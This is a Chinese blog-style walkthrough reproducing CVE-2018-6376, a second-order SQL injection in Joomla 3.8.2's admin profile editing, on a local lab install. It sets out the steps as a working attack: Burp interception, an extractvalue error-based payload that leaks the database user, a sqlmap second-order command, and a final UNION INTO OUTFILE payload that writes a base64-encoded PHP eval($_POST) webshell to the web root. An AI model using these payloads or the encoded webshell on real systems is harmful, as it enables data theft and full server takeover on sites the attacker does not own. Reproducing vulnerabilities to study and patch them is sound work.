参考大佬文章 http://www.sohu.com/a/223945381_354899
发现仅到报错注入一步就没了下文,记录一下最终写马的姿势。
Joomla官网特别良心,各种历史版本随便下载
由于复现CVE-2018-6376漏洞,所以下载了3.8.2版本,一路安装好。
由于注入点在用户后台,改资料时,复现必须允许用户注册,而且能进自己后台。
所以网站建好先用admin账户进后台/administrator/,左边User面板,右上角options设置一下。
设置如下:
按我的调整,
第一项是允许注册新用户;
第二项设新用户到Manager组中,好进后台。
之后New User Account Activation选成了None也就是注册后,不需要邮箱和管理员验证。
记得点左上角的Save保存。
如果不设置这些,会没有会员注册,而且注册的时候通过不了。
设置完再去主页注册用户test1,可能报错,但可以尝试登陆成功。
用test1用户进入后台/administrator/
在右上角找到编辑个人信息
直接save的时候burp抓包。
注入点在这行:
在admin_style]后加[0]往其第一个数组中写入一个单引号'
提交后,刷新/administrator/index.php页面
而不是跟着303跳转。
在主页即可发现报错结果,把单引号处改为payload:
extractvalue(0x0a,concat(0x0a,(select user())))
即可发现,报错回显了数据库root账户
一直没分析源码漏洞是如何导致的,因为不是本次重点,放个图吧。
可以看出来47行形成sql语句的时候,直接把$adminstyle[0]的值插入了语句。构成了where id = xxx 还是数字型不用补单引号
参考资料里大神用了sqlmap进行二阶注入
把Burp的内容保存成txt读取进行注入,获取回显页面设为了/administrator/index.php
sqlmap -r 1.txt –dbms MySQL –second-order “http://127.0.0.1/CMS/joomla/administrator/index.php” -D “joomla” –dbs
但我们希望getshell就尝试往其中写小马。
正常写小马姿势是 select 'xxx小马xxxx' into outfile '绝对路径'
但问题来了:
【1】回显报错中写select "xxxx" into outfile 'C:/xxxx'是不行的,必须直接执行。不能在extractvalue函数中写
【2】看了源码发现前面是 where id = 注入点 那采用姿势:
-1 union select '' into outfile 'c:/wamp/www/CMS/joomla/xd.php'--
结果发现不行,因为<字符写不进去,原因不明,可能是过滤。
【3】切记,MySQL写入文件,文件名一定不能存在!!!存在就不给写了
【4】二阶注入里,burp提交完payload,刷新/administrator/index.php才会生效
【5】所以应该把小马base64编码一下再写入。MySQL5.x以后会有内置函数from_base64('xxx')可以解码。
最终姿势:
-1 union select from_base64('PD9waHAgZXZhbCgkX1BPU1RbeGRdKTsgPz4=') into outfile 'c:/wamp/www/CMS/joomla/xd.php'--